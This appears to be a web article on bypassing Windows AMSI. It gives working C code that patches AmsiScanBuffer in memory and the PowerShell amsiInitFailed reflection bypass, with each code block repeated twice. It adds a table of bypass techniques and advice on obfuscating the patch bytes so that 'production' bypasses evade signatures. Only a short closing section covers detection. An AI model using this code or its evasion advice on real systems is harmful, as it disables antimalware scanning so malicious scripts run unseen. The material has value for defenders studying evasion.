AMSI Bypass
Overview
The Antimalware Scan Interface (AMSI) intercepts script content — PowerShell, VBScript, JScript,
.NET assemblies — and passes it to the registered AV provider before execution. Because AMSI
runs in-process (inside powershell.exe, wscript.exe, the CLR host), an attacker who controls
code execution can modify its implementation before using it.
The canonical bypass patches the AmsiScanBuffer function in the already-loaded amsi.dll so
it immediately returns AMSI_RESULT_CLEAN (1) without calling the provider. Every subsequent
scan in that process is silently approved.
AMSI bypass only silences the in-process scanner. ETW script-block logging, PowerShell transcription, and Constrained Language Mode are independent controls. Bypassing AMSI while these remain active still leaves a full transcript of every command.
The call chain
- 1locate AmsiScanBuffer in amsi.dllGetProcAddress resolves the export; the in-process copy is what we patch.
- 2VirtualProtect(PAGE_EXECUTE_READWRITE)Make the function's first bytes writable.
- 3write patch bytesOverwrite the prologue with a RET or a forced AMSI_RESULT_CLEAN return.
- 4VirtualProtect(original protection)Restore page permissions to avoid leaving RWX pages as an indicator.
Reference implementation
C / native
#include <windows.h>
// Patch AmsiScanBuffer to always return AMSI_RESULT_CLEAN
// Works in any process that loads amsi.dll (powershell, wscript, cscript, .NET host)
void patch_amsi(void) {
HMODULE amsi = LoadLibraryA("amsi.dll");
if (!amsi) return;
FARPROC fn = GetProcAddress(amsi, "AmsiScanBuffer");
if (!fn) return;
// Patch: xor eax, eax (31 C0) ; ret (C3)
// Result: function returns 0 immediately, which is AMSI_RESULT_CLEAN
const BYTE patch[] = { 0x31, 0xC0, 0xC3 };
DWORD old_prot;
VirtualProtect(fn, sizeof patch, PAGE_EXECUTE_READWRITE, &old_prot);
memcpy(fn, patch, sizeof patch);
VirtualProtect(fn, sizeof patch, old_prot, &old_prot);
FlushInstructionCache(GetCurrentProcess(), fn, sizeof patch);
}#include <windows.h>
// Patch AmsiScanBuffer to always return AMSI_RESULT_CLEAN
// Works in any process that loads amsi.dll (powershell, wscript, cscript, .NET host)
void patch_amsi(void) {
HMODULE amsi = LoadLibraryA("amsi.dll");
if (!amsi) return;
FARPROC fn = GetProcAddress(amsi, "AmsiScanBuffer");
if (!fn) return;
// Patch: xor eax, eax (31 C0) ; ret (C3)
// Result: function returns 0 immediately, which is AMSI_RESULT_CLEAN
const BYTE patch[] = { 0x31, 0xC0, 0xC3 };
DWORD old_prot;
VirtualProtect(fn, sizeof patch, PAGE_EXECUTE_READWRITE, &old_prot);
memcpy(fn, patch, sizeof patch);
VirtualProtect(fn, sizeof patch, old_prot, &old_prot);
FlushInstructionCache(GetCurrentProcess(), fn, sizeof patch);
}PowerShell (reflection)
# Classic reflection-based patch — well-known, detected by name
# Shown for educational context; production variants obfuscate field names
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)
# Alternative: patch AmsiScanBuffer via P/Invoke from PowerShell
$sig = @"
[DllImport("kernel32")] public static extern bool VirtualProtect(
IntPtr lpAddress, UInt32 dwSize, UInt32 flNewProtect, out UInt32 lpflOldProtect);
"@
$t = Add-Type -MemberDefinition $sig -Name Win32 -Namespace _ -PassThru
$amsi = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(Get-ProcAddress amsi.dll AmsiScanBuffer),
(New-Object System.Func[IntPtr]))
# ... write patch bytes via Marshal ...# Classic reflection-based patch — well-known, detected by name
# Shown for educational context; production variants obfuscate field names
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)
# Alternative: patch AmsiScanBuffer via P/Invoke from PowerShell
$sig = @"
[DllImport("kernel32")] public static extern bool VirtualProtect(
IntPtr lpAddress, UInt32 dwSize, UInt32 flNewProtect, out UInt32 lpflOldProtect);
"@
$t = Add-Type -MemberDefinition $sig -Name Win32 -Namespace _ -PassThru
$amsi = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(Get-ProcAddress amsi.dll AmsiScanBuffer),
(New-Object System.Func[IntPtr]))
# ... write patch bytes via Marshal ...Bypass taxonomy
| Technique | Scope | Stealthiness |
|---|---|---|
Patch AmsiScanBuffer prologue |
In-process | Medium — byte pattern is signatured |
Set amsiInitFailed = true (PS) |
PS process | Low — field name is signatured |
Patch AmsiOpenSession |
In-process | Medium |
Unload amsi.dll |
In-process | Low — module unload is logged |
| COM server hijack | System-wide | High — no memory patch |
| Patching in a new runspace | New PS runspace | Medium |
The amsiInitFailed field approach is the most commonly cited and the most heavily
signatured. Any production bypass should use a method that avoids known field names and
known patch byte sequences.
Obfuscation to avoid static detection
The patch byte sequence 31 C0 C3 or B8 57 00 07 80 C3 (return E_INVALIDARG) is a static
signature. Defeating it requires either:
- Runtime byte construction — build the patch array from XOR or ADD operations at runtime
- Indirect write — copy bytes through a buffer, write through a function pointer
- Alternative patches — patch
AmsiInitializeinstead; patch the CLSID lookup that loads the provider
Detection
The most reliable ongoing detection is comparing the in-memory bytes of AmsiScanBuffer to
the on-disk copy of amsi.dll at the corresponding offset. Any difference is a patch. This
comparison is cheap and can run as a periodic thread in a security agent or EDR.